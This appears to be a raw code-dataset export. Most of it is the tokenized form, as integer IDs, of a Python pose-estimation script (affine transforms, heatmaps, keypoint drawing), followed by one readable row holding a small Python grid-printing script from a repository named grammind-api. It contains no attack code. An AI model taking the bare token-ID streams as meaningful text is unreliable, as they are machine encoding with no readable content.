29889,
3298,
359,
3552,
29941,
29892,
29871,
29906,
511,
26688,
29922,
9302,
29889,
7411,
29941,
29906,
29897,
13,
1678,
29743,
353,
7442,
29889,
3298,
359,
3552,
29941,
29892,
29871,
29906,
511,
26688,
29922,
9302,
29889,
7411,
29941,
29906,
29897,
13,
1678,
4765,
29961,
29900,
29892,
584,
29962,
353,
4818,
718,
6287,
29918,
7050,
334,
9500,
13,
1678,
4765,
29961,
29896,
29892,
584,
29962,
353,
4818,
718,
4765,
29918,
3972,
718,
6287,
29918,
7050,
334,
9500,
13,
1678,
29743,
29961,
29900,
29892,
584,
29962,
353,
518,
22992,
29918,
29893,
334,
29871,
29900,
29889,
29945,
29892,
29743,
29918,
29882,
334,
29871,
29900,
29889,
29945,
29962,
13,
1678,
29743,
29961,
29896,
29892,
584,
29962,
353,
7442,
29889,
2378,
4197,
22992,
29918,
29893,
334,
29871,
29900,
29889,
29945,
29892,
29743,
29918,
29882,
334,
29871,
29900,
29889,
29945,
2314,
718,
29743,
29918,
3972,
13,
13,
1678,
4765,
29961,
29906,
29901,
29892,
584,
29962,
353,
679,
29918,
29941,
5499,
29918,
3149,
29898,
4351,
29961,
29900,
29892,
584,
1402,
4765,
29961,
29896,
29892,
584,
2314,
13,
1678,
29743,
29961,
29906,
29901,
29892,
584,
29962,
353,
679,
29918,
29941,
5499,
29918,
3149,
29898,
22992,
29961,
29900,
29892,
584,
1402,
29743,
29961,
29896,
29892,
584,
2314,
13,
13,
1678,
565,
2437,
29901,
13,
4706,
1301,
353,
13850,
29906,
29889,
657,
27867,
457,
13372,
29898,
9302,
29889,
7411,
29941,
29906,
29898,
22992,
511,
7442,
29889,
7411,
29941,
29906,
29898,
4351,
876,
13,
1678,
1683,
29901,
13,
4706,
1301,
353,
13850,
29906,
29889,
657,
27867,
457,
13372,
29898,
9302,
29889,
7411,
29941,
29906,
29898,
4351,
511,
7442,
29889,
7411,
29941,
29906,
29898,
22992,
876,
13,
13,
1678,
736,
1301,
13,
13,
1753,
903,
5064,
29918,
7052,
29918,
517,
29918,
1884,
29898,
5064,
29892,
6287,
1125,
13,
1678,
15526,
29918,
4172,
353,
29871,
29896,
29889,
29900,
13,
1678,
281,
353,
6287,
29961,
29900,
29962,
334,
15526,
29918,
4172,
13,
1678,
298,
353,
6287,
29961,
29896,
29962,
334,
15526,
29918,
4172,
13,
1678,
921,
1195,
353,
4818,
29961,
29900,
29962,
448,
281,
334,
29871,
29900,
29889,
29945,
13,
1678,
343,
1195,
353,
4818,
29961,
29896,
29962,
448,
298,
334,
29871,
29900,
29889,
29945,
13,
1678,
921,
3317,
353,
921,
1195,
718,
281,
13,
1678,
343,
3317,
353,
343,
1195,
718,
298,
13,
1678,
289,
1884,
353,
518,
29916,
1195,
29892,
343,
1195,
29892,
921,
3317,
29892,
343,
3317,
29962,
13,
1678,
736,
289,
1884,
13,
13,
1753,
903,
1884,
29918,
517,
29918,
5064,
29918,
7052,
29898,
29916,
29892,
343,
29892,
281,
29892,
298,
29892,
9565,
29918,
3605,
601,
29922,
29896,
29889,
29900,
29892,
6287,
29918,
4713,
29922,
29896,
29889,
29906,
29945,
1125,
13,
1678,
9995,
18455,
3800,
10350,
304,
4818,
322,
6287,
29889,
13,
1678,
23430,
515,
2045,
597,
3292,
29889,
510,
29914,
11277,
29914,
26029,
29899,
4220,
29899,
342,
7715,
29889,
2272,
7345,
305,
13,
1678,
9995,
13,
1678,
15526,
29918,
4172,
353,
29871,
29896,
13,
1678,
4818,
353,
7442,
29889,
3298,
359,
3552,
29906,
511,
26688,
29922,
9302,
29889,
7411,
29941,
29906,
29897,
13,
1678,
4818,
29961,
29900,
29962,
353,
921,
718,
281,
334,
29871,
29900,
29889,
29945,
13,
1678,
4818,
29961,
29896,
29962,
353,
343,
718,
298,
334,
29871,
29900,
29889,
29945,
13,
13,
1678,
565,
281,
1405,
9565,
29918,
3605,
601,
334,
298,
29901,
13,
4706,
298,
353,
281,
847,
9565,
29918,
3605,
601,
13,
1678,
25342,
281,
529,
9565,
29918,
3605,
601,
334,
298,
29901,
13,
4706,
281,
353,
298,
334,
9565,
29918,
3605,
601,
13,
1678,
6287,
353,
7442,
29889,
2378,
29898,
13,
4706,
518,
29893,
334,
29871,
29896,
29889,
29900,
847,
15526,
29918,
4172,
29892,
298,
334,
29871,
29896,
29889,
29900,
847,
15526,
29918,
4172,
1402,
26688,
29922,
9302,
29889,
7411,
29941,
29906,
29897,
13,
1678,
565,
4818,
29961,
29900,
29962,
2804,
448,
29896,
29901,
13,
4706,
6287,
353,
6287,
334,
6287,
29918,
4713,
13,
1678,
736,
4818,
29892,
6287,
13,
13,
1753,
758,
5014,
29898,
29890,
629,
29918,
2492,
29892,
289,
1884,
29892,
18593,
29918,
29882,
29922,
29906,
29945,
29953,
29892,
18593,
29918,
29893,
29922,
29896,
29929,
29906,
1125,
13,
1678,
396,
921,
29892,
343,
29892,
281,
29892,
298,
353,
289,
1884,
13,
1678,
921,
353,
289,
1884,
29961,
29900,
29962,
13,
1678,
343,
353,
289,
1884,
29961,
29896,
29962,
13,
1678,
281,
353,
289,
1884,
29961,
29906,
29962,
13,
1678,
298,
353,
289,
1884,
29961,
29941,
29962,
13,
13,
1678,
903,
294,
1103,
29918,
3605,
601,
353,
5785,
29898,
4220,
29918,
29893,
29897,
847,
18593,
29918,
29882,
29871,
396,
281,
847,
298,
13,
13,
1678,
396,
14402,
448,
1243,
1728,
14100,
7595,
29892,
274,
1336,
4153,
13,
1678,
4818,
29892,
6287,
353,
903,
1884,
29918,
517,
29918,
5064,
29918,
7052,
29898,
13,
9651,
921,
29892,
343,
29892,
281,
29892,
298,
29892,
29918,
294,
1103,
29918,
3605,
601,
29897,
13,
13,
1678,
6287,
353,
6287,
334,
29871,
29896,
29889,
29900,
13,
1678,
1301,
353,
679,
29918,
3470,
457,
29918,
9067,
29898,
5064,
29892,
6287,
29892,
29871,
29900,
29892,
518,
4220,
29918,
29893,
29892,
18593,
29918,
29882,
2314,
13,
1678,
7595,
29918,
2492,
353,
13850,
29906,
29889,
4495,
29886,
27867,
457,
29898,
29890,
629,
29918,
2492,
29892,
1301,
29892,
313,
524,
29898,
4220,
29918,
29893,
511,
938,
29898,
4220,
29918,
29882,
8243,
13449,
29922,
11023,
29906,
29889,
23845,
29918,
18521,
1718,
29897,
13,
1678,
7595,
29918,
29890,
1884,
353,
903,
5064,
29918,
7052,
29918,
517,
29918,
1884,
29898,
5064,
29892,
6287,
29897,
13,
13,
1678,
396,
14402,
448,
679,
848,
515,
343,
3543,
758,
5014,
13,
1678,
15552,
29890,
29918,
2520,
29918,
2492,
353,
13850,
29906,
29889,
11023,
29873,
3306,
29898,
2520,
29918,
2492,
29892,
13850,
29906,
29889,
15032,
1955,
29918,
29933,
14345,
29906,
28212,
29897,
13,
1678,
7595,
29918,
2492,
353,
7442,
29889,
3286,
4220,
29898,
23973,
29918,
2520,
29918,
2492,
29892,
313,
29906,
29892,
29871,
29900,
29892,
29871,
29896,
876,
29871,
396,
315,
29930,
29950,
29930,
29956,
13,
1678,
7595,
29918,
2492,
353,
7595,
29918,
2492,
847,
29871,
29906,
29945,
29945,
29889,
29900,
13,
1678,
7595,
29918,
2492,
29961,
29900,
29892,
584,
29892,
584,
29962,
4619,
448,
29900,
29889,
29946,
29900,
29953,
13,
1678,
7595,
29918,
2492,
29961,
29896,
29892,
584,
29892,
584,
29962,
4619,
448,
29900,
29889,
29946,
29945,
29955,
13,
1678,
7595,
29918,
2492,
29961,
29906,
29892,
584,
29892,
584,
29962,
4619,
448,
29900,
29889,
29946,
29947,
13,
1678,
736,
7595,
29918,
2492,
29892,
7595,
29918,
29890,
1884,
13,
13,
29937,
1400,
5014,
740,
13,
1753,
679,
29918,
3317,
29918,
11965,
29898,
354,
271,
10339,
1125,
13,
1678,
954,
29918,
2212,
9466,
353,
12871,
10339,
29889,
12181,
29961,
29900,
29962,
13,
1678,
2920,
353,
12871,
10339,
29889,
12181,
29961,
29906,
29962,
13,
1678,
12871,
10339,
29918,
3781,
10501,
353,
12871,
10339,
29889,
690,
14443,
3552,
1949,
29918,
2212,
9466,
29892,
448,
29896,
876,
13,
1678,
22645,
353,
7442,
29889,
1191,
3317,
29898,
354,
271,
10339,
29918,
3781,
10501,
29892,
29871,
29896,
29897,
13,
1678,
4236,
791,
29879,
353,
7442,
29889,
3317,
29898,
354,
271,
10339,
29918,
3781,
10501,
29892,
29871,
29896,
29897,
13,
13,
1678,
4236,
791,
29879,
353,
4236,
791,
29879,
29889,
690,
14443,
3552,
1949,
29918,
2212,
9466,
29892,
29871,
29896,
876,
13,
1678,
22645,
353,
22645,
29889,
690,
14443,
3552,
1949,
29918,
2212,
9466,
29892,
29871,
29896,
876,
13,
13,
1678,
4450,
29879,
353,
7442,
29889,
29873,
488,
29898,
13140,
29892,
313,
29896,
29892,
29871,
29906,
8106,
579,
668,
29898,
9302,
29889,
7411,
29941,
29906,
29897,
13,
13,
1678,
4450,
29879,
7503,
29892,
29871,
29900,
29962,
353,
313,
11965,
29879,
7503,
29892,
29871,
29900,
2314,
1273,
2920,
13,
1678,
4450,
29879,
7503,
29892,
29871,
29896,
29962,
353,
7442,
29889,
14939,
3552,
11965,
29879,
7503,
29892,
29871,
29896,
2314,
847,
2920,
29897,
13,
13,
1678,
4450,
29918,
13168,
353,
7442,
29889,
29873,
488,
29898,
9302,
29889,
7979,
1008,
29898,
3317,
791,
29879,
29892,
29871,
29900,
29889,
29900,
511,
313,
29896,
29892,
29871,
29906,
876,
13,
1678,
4450,
29918,
13168,
353,
4450,
29918,
13168,
29889,
579,
668,
29898,
9302,
29889,
7411,
29941,
29906,
29897,
13,
13,
1678,
4450,
29879,
334,
29922,
4450,
29918,
13168,
13,
1678,
736,
4450,
29879,
29892,
4236,
791,
29879,
13,
13,
1753,
2756,
457,
29918,
9067,
29898,
415,
29892,
260,
1125,
13,
1678,
716,
29918,
415,
353,
7442,
29889,
2378,
4197,
415,
29961,
29900,
1402,
19592,
29961,
29896,
1402,
29871,
29896,
5586,
467,
29911,
13,
1678,
716,
29918,
415,
353,
7442,
29889,
6333,
29898,
29873,
29892,
716,
29918,
415,
29897,
13,
1678,
736,
716,
29918,
415,
7503,
29906,
29962,
13,
13,
1753,
4327,
29918,
11965,
29879,
29898,
1111,
4339,
29892,
4818,
29892,
6287,
29892,
1962,
29918,
2311,
1125,
13,
1678,
3646,
29918,
1111,
4339,
353,
7442,
29889,
3298,
359,
29898,
1111,
4339,
29889,
12181,
29897,
13,
1678,
1301,
353,
679,
29918,
3470,
457,
29918,
9067,
29898,
5064,
29892,
6287,
29892,
29871,
29900,
29892,
1962,
29918,
2311,
29892,
2437,
29922,
29896,
29897,
13,
1678,
3646,
29918,
1111,
4339,
29961,
29900,
29901,
29906,
29962,
353,
2756,
457,
29918,
9067,
29898,
1111,
4339,
29961,
29900,
29901,
29906,
1402,
1301,
29897,
13,
1678,
736,
3646,
29918,
1111,
4339,
13,
13,
1753,
12871,
1958,
29918,
517,
29918,
1111,
536,
29918,
12857,
29898,
29882,
1516,
29892,
289,
1884,
1125,
13,
1678,
1302,
4339,
29892,
4236,
791,
29879,
353,
679,
29918,
3317,
29918,
11965,
29898,
29882,
1516,
29897,
13,
13,
1678,
298,
29885,
29918,
29882,
353,
298,
1516,
29889,
12181,
29961,
29896,
29962,
13,
1678,
298,
29885,
29918,
29893,
353,
298,
1516,
29889,
12181,
29961,
29906,
29962,
13,
13,
1678,
396,
1400,
29899,
19170,
13,
1678,
363,
282,
297,
3464,
29898,
1111,
4339,
29889,
12181,
29961,
29900,
29962,
1125,
13,
4706,
298,
29885,
353,
298,
1516,
29961,
29886,
29962,
13,
4706,
282,
29916,
353,
938,
29898,
14486,
29898,
7411,
29898,
1111,
4339,
29961,
29886,
3816,
29900,
29962,
4961,
13,
4706,
11451,
353,
938,
29898,
14486,
29898,
7411,
29898,
1111,
4339,
29961,
29886,
3816,
29896,
29962,
4961,
13,
4706,
565,
29871,
29896,
529,
282,
29916,
529,
298,
29885,
29918,
29893,
448,
29871,
29896,
322,
29871,
29896,
529,
11451,
529,
298,
29885,
29918,
29882,
448,
29871,
29896,
29901,
13,
9651,
2923,
353,
7442,
29889,
2378,
3552,
7184,
29961,
2272,
3816,
1756,
718,
29871,
29896,
29962,
448,
298,
29885,
29961,
2272,
3816,
1756,
448,
29871,
29896,
1402,
13,
462,
632,
298,
29885,
29961,
2272,
718,
29871,
29896,
3816,
1756,
29962,
448,
298,
29885,
29961,
2272,
448,
29871,
29896,
3816,
1756,
12622,
13,
9651,
1302,
4339,
29961,
29886,
29962,
4619,
7442,
29889,
4530,
29898,
12765,
29897,
334,
869,
29906,
29945,
13,
13,
1678,
4450,
29879,
353,
7442,
29889,
3298,
359,
29918,
4561,
29898,
1111,
4339,
29897,
13,
13,
1678,
396,
4327,
289,
1884,
304,
6287,
13,
1678,
921,
1195,
29892,
343,
1195,
29892,
921,
3317,
29892,
343,
3317,
353,
289,
1884,
13,
1678,
281,
353,
921,
3317,
448,
921,
1195,
13,
1678,
298,
353,
343,
3317,
448,
343,
1195,
13,
1678,
4818,
353,
7442,
29889,
2378,
4197,
29916,
1195,
718,
281,
334,
29871,
29900,
29889,
29945,
29892,
343,
1195,
718,
298,
334,
29871,
29900,
29889,
29945,
2314,
13,
1678,
6287,
353,
7442,
29889,
2378,
4197,
29893,
29892,
298,
2314,
13,
1678,
396,
4103,
689,
1250,
13,
1678,
363,
474,
297,
3464,
29898,
1111,
4339,
29889,
12181,
29961,
29900,
29962,
1125,
13,
4706,
4450,
29879,
29961,
29875,
29962,
353,
4327,
29918,
11965,
29879,
29898,
1111,
4339,
29961,
29875,
1402,
4818,
29892,
6287,
29892,
13,
462,
462,
259,
518,
7184,
29918,
29893,
29892,
298,
29885,
29918,
29882,
2314,
13,
13,
1678,
736,
4450,
29879,
29892,
4236,
791,
29879,
13,
13,
13,
1753,
1400,
5014,
29898,
4220,
29918,
11965,
29879,
29892,
7595,
29918,
29890,
1884,
29918,
1761,
29892,
343,
3543,
29918,
11965,
29879,
1125,
13,
1678,
396,
7595,
29918,
29890,
1884,
29918,
1761,
29901,
5519,
29916,
29896,
343,
29896,
921,
29906,
343,
29906,
1402,
518,
29916,
29896,
343,
29896,
921,
29906,
343,
29906,
1402,
2023,
29962,
13,
1678,
396,
343,
3543,
29918,
11965,
29879,
29901,
5519,
29961,
29916,
343,
281,
298,
1402,
8158,
29892,
1067,
29879,
1402,
8999,
29916,
343,
281,
298,
1402,
8158,
29892,
1067,
29879,
1402,
5519,
29916,
343,
281,
298,
1402,
8158,
29892,
1067,
29879,
5262,
13,
1678,
19745,
29918,
2212,
9466,
353,
518,
29900,
29892,
29871,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29892,
29871,
29946,
29892,
29871,
29945,
29892,
29871,
29953,
29892,
29871,
29955,
29892,
29871,
29947,
29892,
29871,
29929,
29892,
29871,
29896,
29900,
29892,
29871,
29896,
29896,
29892,
29871,
29896,
29906,
29892,
29871,
29896,
29941,
29892,
29871,
29896,
29946,
29892,
29871,
29896,
29945,
29892,
29871,
29896,
29953,
29962,
13,
1678,
18593,
29918,
1111,
4339,
353,
5159,
13,
1678,
18593,
29918,
1557,
2361,
353,
5159,
13,
1678,
363,
4450,
29892,
289,
1884,
297,
14319,
29898,
4220,
29918,
11965,
29879,
29892,
7595,
29918,
29890,
1884,
29918,
1761,
1125,
13,
4706,
4450,
353,
7442,
29889,
29879,
802,
29872,
911,
29898,
11965,
29892,
9685,
29922,
29900,
29897,
13,
4706,
18593,
29918,
1111,
536,
29892,
18593,
29918,
13628,
353,
12871,
1958,
29918,
517,
29918,
1111,
536,
29918,
12857,
29898,
11965,
29961,
14513,
29918,
2212,
9466,
1402,
289,
1884,
29897,
13,
4706,
18593,
29918,
1111,
4339,
29889,
4397,
29898,
9302,
29889,
18837,
29918,
6229,
29879,
29898,
4220,
29918,
1111,
536,
29892,
9685,
29922,
29900,
876,
13,
4706,
18593,
29918,
1557,
2361,
29889,
4397,
29898,
9302,
29889,
18837,
29918,
6229,
29879,
29898,
4220,
29918,
13628,
29892,
9685,
29922,
29900,
876,
13,
13,
1678,
565,
7431,
29898,
4220,
29918,
1557,
2361,
29897,
1275,
29871,
29900,
29901,
13,
4706,
736,
5159,
13,
13,
1678,
4450,
29879,
29918,
2492,
353,
7442,
29889,
294,
2378,
29898,
4220,
29918,
1111,
4339,
29897,
396,
518,
29945,
29892,
29871,
29896,
29892,
29871,
29896,
29955,
29892,
29871,
29896,
29962,
13,
1678,
4450,
29879,
29918,
2492,
353,
7442,
29889,
29879,
802,
29872,
911,
29898,
11965,
29879,
29918,
2492,
29892,
9685,
29922,
29896,
29897,
13,
1678,
4450,
29879,
29918,
1557,
2361,
353,
7442,
29889,
294,
2378,
29898,
4220,
29918,
1557,
2361,
29897,
396,
518,
29945,
29892,
29871,
29896,
29892,
29871,
29896,
29955,
29892,
29871,
29906,
29962,
13,
1678,
4450,
29879,
29918,
1557,
2361,
353,
7442,
29889,
29879,
802,
29872,
911,
29898,
11965,
29879,
29918,
1557,
2361,
29892,
9685,
29922,
29896,
29897,
13,
1678,
736,
18593,
29918,
29876,
1516,
29898,
29891,
3543,
29918,
11965,
29879,
29892,
4450,
29879,
29918,
2492,
29892,
4450,
29879,
29918,
1557,
2361,
29897,
13,
13,
1753,
4216,
29898,
29890,
629,
29918,
2492,
29892,
4450,
1125,
13,
1678,
301,
29918,
18784,
353,
518,
13,
4706,
313,
29900,
29892,
29871,
29896,
511,
313,
29900,
29892,
29871,
29906,
511,
313,
29896,
29892,
29871,
29941,
511,
313,
29906,
29892,
29871,
29946,
511,
29871,
396,
12252,
13,
4706,
313,
29945,
29892,
29871,
29953,
511,
313,
29945,
29892,
29871,
29955,
511,
313,
29955,
29892,
29871,
29929,
511,
313,
29953,
29892,
29871,
29947,
511,
313,
29947,
29892,
29871,
29896,
29900,
511,
13,
4706,
313,
29896,
29955,
29892,
29871,
29896,
29896,
511,
313,
29896,
29955,
29892,
29871,
29896,
29906,
511,
29871,
396,
24928,
13,
4706,
313,
29896,
29896,
29892,
29871,
29896,
29941,
511,
313,
29896,
29906,
29892,
29871,
29896,
29946,
511,
313,
29896,
29941,
29892,
29871,
29896,
29945,
511,
313,
29896,
29946,
29892,
29871,
29896,
29953,
29897,
13,
1678,
4514,
13,
13,
1678,
282,
29918,
2780,
353,
17288,
29900,
29892,
29871,
29906,
29945,
29945,
29892,
29871,
29906,
29945,
29945,
511,
313,
29900,
29892,
29871,
29896,
29929,
29896,
29892,
29871,
29906,
29945,
29945,
511,
313,
29900,
29892,
29871,
29906,
29945,
29945,
29892,
29871,
29896,
29900,
29906,
511,
313,
29900,
29892,
29871,
29955,
29955,
29892,
29871,
29906,
29945,
29945,
511,
313,
29900,
29892,
29871,
29906,
29945,
29945,
29892,
29871,
29900,
511,
29871,
396,
405,
852,
29892,
11060,
4099,
29892,
5195,
4099,
29892,
11060,
279,
29892,
5195,
279,
13,
18884,
313,
29955,
29955,
29892,
29871,
29906,
29945,
29945,
29892,
29871,
29906,
29945,
29945,
511,
313,
29955,
29955,
29892,
29871,
29906,
29945,
29945,
29892,
29871,
29906,
29900,
29946,
511,
313,
29955,
29955,
29892,
29871,
29906,
29900,
29946,
29892,
29871,
29906,
29945,
29945,
511,
313,
29896,
29929,
29896,
29892,
29871,
29906,
29945,
29945,
29892,
29871,
29955,
29955,
511,
313,
29955,
29955,
29892,
29871,
29896,
29929,
29896,
29892,
29871,
29906,
29945,
29945,
511,
313,
29896,
29929,
29896,
29892,
29871,
29906,
29945,
29945,
29892,
29871,
29955,
29955,
511,
29871,
396,
365,
26857,
261,
29892,
390,
26857,
261,
29892,
365,
6489,
17729,
29892,
5195,
29880,
17729,
29892,
365,
29956,
2021,
29892,
390,
29956,
2021,
13,
18884,
313,
29906,
29900,
29946,
29892,
29871,
29955,
29955,
29892,
29871,
29906,
29945,
29945,
511,
313,
29955,
29955,
29892,
29871,
29906,
29945,
29945,
29892,
29871,
29906,
29900,
29946,
511,
313,
29896,
29929,
29896,
29892,
29871,
29955,
29955,
29892,
29871,
29906,
29945,
29945,
511,
313,
29955,
29955,
29892,
29871,
29906,
29945,
29945,
29892,
29871,
29896,
29929,
29896,
511,
313,
29896,
29906,
29955,
29892,
29871,
29955,
29955,
29892,
29871,
29906,
29945,
29945,
511,
313,
29955,
29955,
29892,
29871,
29906,
29945,
29945,
29892,
29871,
29896,
29906,
29955,
511,
313,
29900,
29892,
29871,
29906,
29945,
29945,
29892,
29871,
29906,
29945,
29945,
4638,
29871,
396,
365,
29950,
666,
29892,
390,
29950,
666,
29892,
365,
29968,
484,
29872,
29892,
390,
29895,
484,
29872,
29892,
365,
2744,
29895,
280,
29892,
390,
2744,
29895,
280,
29892,
2448,
384,
13,
1678,
1196,
29918,
2780,
353,
17288,
29900,
29892,
29871,
29906,
29896,
29945,
29892,
29871,
29906,
29945,
29945,
511,
313,
29900,
29892,
29871,
29906,
29945,
29945,
29892,
29871,
29906,
29900,
29946,
511,
313,
29900,
29892,
29871,
29896,
29941,
29946,
29892,
29871,
29906,
29945,
29945,
511,
313,
29900,
29892,
29871,
29906,
29945,
29945,
29892,
29871,
29945,
29900,
511,
13,
18884,
313,
29955,
29955,
29892,
29871,
29906,
29945,
29945,
29892,
29871,
29906,
29906,
29906,
511,
313,
29955,
29955,
29892,
29871,
29896,
29929,
29953,
29892,
29871,
29906,
29945,
29945,
511,
313,
29955,
29955,
29892,
29871,
29896,
29941,
29945,
29892,
29871,
29906,
29945,
29945,
511,
313,
29896,
29929,
29896,
29892,
29871,
29906,
29945,
29945,
29892,
29871,
29955,
29955,
511,
313,
29955,
29955,
29892,
29871,
29906,
29945,
29945,
29892,
29871,
29955,
29955,
511,
13,
18884,
313,
29955,
29955,
29892,
29871,
29906,
29906,
29906,
29892,
29871,
29906,
29945,
29945,
511,
313,
29906,
29945,
29945,
29892,
29871,
29896,
29945,
29953,
29892,
29871,
29896,
29906,
29955,
511,
13,
18884,
313,
29900,
29892,
29871,
29896,
29906,
29955,
29892,
29871,
29906,
29945,
29945,
511,
313,
29906,
29945,
29945,
29892,
29871,
29896,
29906,
29955,
29892,
29871,
29955,
29955,
511,
313,
29900,
29892,
29871,
29955,
29955,
29892,
29871,
29906,
29945,
29945,
511,
313,
29906,
29945,
29945,
29892,
29871,
29955,
29955,
29892,
29871,
29941,
29953,
4638,
13,
1678,
10153,
353,
289,
629,
29918,
2492,
29889,
8552,
580,
13,
1678,
3171,
29892,
2920,
353,
10153,
29889,
12181,
7503,
29906,
29962,
13,
1678,
10153,
353,
13850,
29906,
29889,
21476,
29898,
2492,
29892,
313,
524,
29898,
2103,
847,
29871,
29906,
511,
938,
29898,
3545,
847,
29871,
29906,
4961,
13,
1678,
363,
5199,
297,
4450,
29901,
13,
4706,
760,
29918,
1220,
353,
6571,
13,
4706,
413,
29886,
29918,
11965,
29879,
353,
5199,
1839,
1989,
9748,
2033,
13,
4706,
413,
29886,
29918,
1557,
2361,
353,
5199,
1839,
29895,
29886,
29918,
13628,
2033,
13,
4706,
413,
29886,
29918,
11965,
29879,
353,
7442,
29889,
535,
29883,
2579,
403,
3552,
29895,
29886,
29918,
11965,
29879,
29892,
7442,
29889,
18837,
29918,
6229,
29879,
3552,
29895,
29886,
29918,
11965,
29879,
29961,
29945,
29892,
584,
29962,
718,
413,
29886,
29918,
11965,
29879,
29961,
29953,
29892,
584,
2314,
847,
29871,
29906,
29892,
9685,
29922,
29900,
8243,
9685,
29922,
29900,
29897,
13,
4706,
413,
29886,
29918,
1557,
2361,
353,
7442,
29889,
535,
29883,
2579,
403,
3552,
29895,
29886,
29918,
1557,
2361,
29892,
7442,
29889,
18837,
29918,
6229,
29879,
3552,
29895,
29886,
29918,
1557,
2361,
29961,
29945,
29892,
584,
29962,
718,
413,
29886,
29918,
1557,
2361,
29961,
29953,
29892,
584,
2314,
847,
29871,
29906,
29892,
9685,
29922,
29900,
8243,
9685,
29922,
29900,
29897,
13,
13,
4706,
396,
18492,
1820,
9748,
13,
4706,
363,
302,
297,
3464,
29898,
29895,
29886,
29918,
1557,
2361,
29889,
12181,
29961,
29900,
29962,
1125,
13,
9651,
565,
413,
29886,
29918,
1557,
2361,
29961,
29876,
29962,
5277,
29871,
29900,
29889,
29941,
29945,
29901,
13,
18884,
6773,
13,
9651,
1034,
29918,
29916,
29892,
1034,
29918,
29891,
353,
938,
29898,
29895,
29886,
29918,
11965,
29879,
29961,
29876,
29892,
29871,
29900,
11724,
938,
29898,
29895,
29886,
29918,
11965,
29879,
29961,
29876,
29892,
29871,
29896,
2314,
13,
9651,
760,
29918,
1220,
29961,
29876,
29962,
353,
313,
524,
29898,
2616,
29918,
29916,
847,
29871,
29906,
511,
938,
29898,
2616,
29918,
29891,
847,
29871,
29906,
876,
13,
9651,
25989,
353,
10153,
29889,
8552,
580,
13,
9651,
13850,
29906,
29889,
16622,
29898,
16264,
29892,
313,
524,
29898,
2616,
29918,
29916,
847,
29871,
29906,
511,
938,
29898,
2616,
29918,
29891,
847,
29871,
29906,
8243,
29871,
29906,
29892,
282,
29918,
2780,
29961,
29876,
1402,
448,
29896,
29897,
13,
9651,
396,
2567,
1653,
263,
11105,
310,
20194,
322,
1653,
967,
16402,
11105,
884,
13,
9651,
1301,
862,
3819,
353,
4236,
29898,
29900,
29892,
1375,
29898,
29896,
29892,
413,
29886,
29918,
1557,
2361,
29961,
29876,
12622,
13,
9651,
10153,
353,
13850,
29906,
29889,
1202,
22676,
287,
29898,
16264,
29892,
1301,
862,
3819,
29892,
10153,
29892,
29871,
29896,
448,
1301,
862,
3819,
29892,
29871,
29900,
29897,
13,
13,
4706,
396,
18492,
2485,
5824,
13,
4706,
363,
474,
29892,
313,
2962,
29918,
29886,
29892,
1095,
29918,
29886,
29897,
297,
26985,
29898,
29880,
29918,
18784,
1125,
13,
9651,
565,
1369,
29918,
29886,
297,
760,
29918,
1220,
322,
1095,
29918,
29886,
297,
760,
29918,
1220,
29901,
13,
18884,
1369,
29918,
3594,
353,
760,
29918,
1220,
29961,
2962,
29918,
29886,
29962,
13,
18884,
1095,
29918,
3594,
353,
760,
29918,
1220,
29961,
355,
29918,
29886,
29962,
13,
18884,
25989,
353,
10153,
29889,
8552,
580,
13,
13,
18884,
1060,
353,
313,
2962,
29918,
3594,
29961,
29900,
1402,
1095,
29918,
3594,
29961,
29900,
2314,
13,
18884,
612,
353,
313,
2962,
29918,
3594,
29961,
29896,
1402,
1095,
29918,
3594,
29961,
29896,
2314,
13,
18884,
286,
29990,
353,
7442,
29889,
12676,
29898,
29990,
29897,
13,
18884,
286,
29979,
353,
7442,
29889,
12676,
29898,
29979,
29897,
13,
18884,
3309,
353,
5135,
29979,
29961,
29900,
29962,
448,
612,
29961,
29896,
2314,
3579,
29871,
29906,
718,
313,
29990,
29961,
29900,
29962,
448,
1060,
29961,
29896,
2314,
3579,
29871,
29906,
29897,
3579,
29871,
29900,
29889,
29945,
13,
18884,
10696,
353,
5844,
29889,
311,
7979,
267,
29898,
755,
29889,
23402,
29906,
29898,
29979,
29961,
29900,
29962,
448,
612,
29961,
29896,
1402,
1060,
29961,
29900,
29962,
448,
1060,
29961,
29896,
12622,
13,
18884,
12070,
2103,
353,
313,
29895,
29886,
29918,
1557,
2361,
29961,
2962,
29918,
29886,
29962,
718,
413,
29886,
29918,
1557,
2361,
29961,
355,
29918,
29886,
2314,
718,
29871,
29896,
13,
18884,
29807,
353,
13850,
29906,
29889,
295,
5843,
29906,
7713,
29891,
3552,
524,
29898,
29885,
29990,
511,
938,
29898,
29885,
29979,
8243,
313,
524,
29898,
2848,
847,
29871,
29906,
511,
12070,
2103,
511,
938,
29898,
2521,
511,
29871,
29900,
29892,
29871,
29941,
29953,
29900,
29892,
29871,
29896,
29897,
13,
18884,
13850,
29906,
29889,
5589,
1168,
13809,
7713,
29891,
29898,
16264,
29892,
29807,
29892,
1196,
29918,
2780,
29961,
29875,
2314,
13,
18884,
396,
13850,
29906,
29889,
1220,
29898,
16264,
29892,
1369,
29918,
3594,
29892,
1095,
29918,
3594,
29892,
1196,
29918,
2780,
29961,
29875,
1402,
313,
29906,
334,
313,
29895,
29886,
29918,
1557,
2361,
29961,
2962,
29918,
29886,
29962,
718,
413,
29886,
29918,
1557,
2361,
29961,
355,
29918,
29886,
12622,
718,
29871,
29896,
29897,
13,
18884,
1301,
862,
3819,
353,
4236,
29898,
29900,
29892,
1375,
29898,
29896,
29892,
29871,
29900,
29889,
29945,
334,
313,
29895,
29886,
29918,
1557,
2361,
29961,
2962,
29918,
29886,
29962,
718,
413,
29886,
29918,
1557,
2361,
29961,
355,
29918,
29886,
29962,
4961,
13,
18884,
10153,
353,
13850,
29906,
29889,
1202,
22676,
287,
29898,
16264,
29892,
1301,
862,
3819,
29892,
10153,
29892,
29871,
29896,
448,
1301,
862,
3819,
29892,
29871,
29900,
29897,
13,
13,
1678,
10153,
353,
13850,
29906,
29889,
21476,
29898,
2492,
29892,
313,
2103,
29892,
3171,
511,
29694,
29922,
11023,
29906,
29889,
23845,
29918,
29907,
7466,
2965,
29897,
13,
1678,
736,
10153,
2
] |
data/python/pattern_10/code.py | MKAbuMattar/grammind-api | 3 | 32177 | <filename>data/python/pattern_10/code.py
#MAIN PROGRAM STARTS HERE:
num = int(input('Enter the number of rows and columns for the square: '))
for x in range(1, num + 1):
for y in range(1, num - 2 + 1):
print ('{} {} '.format(x, y), end='')
print() | [
1,
529,
9507,
29958,
1272,
29914,
4691,
29914,
11037,
29918,
29896,
29900,
29914,
401,
29889,
2272,
13,
29937,
29032,
13756,
29954,
25058,
6850,
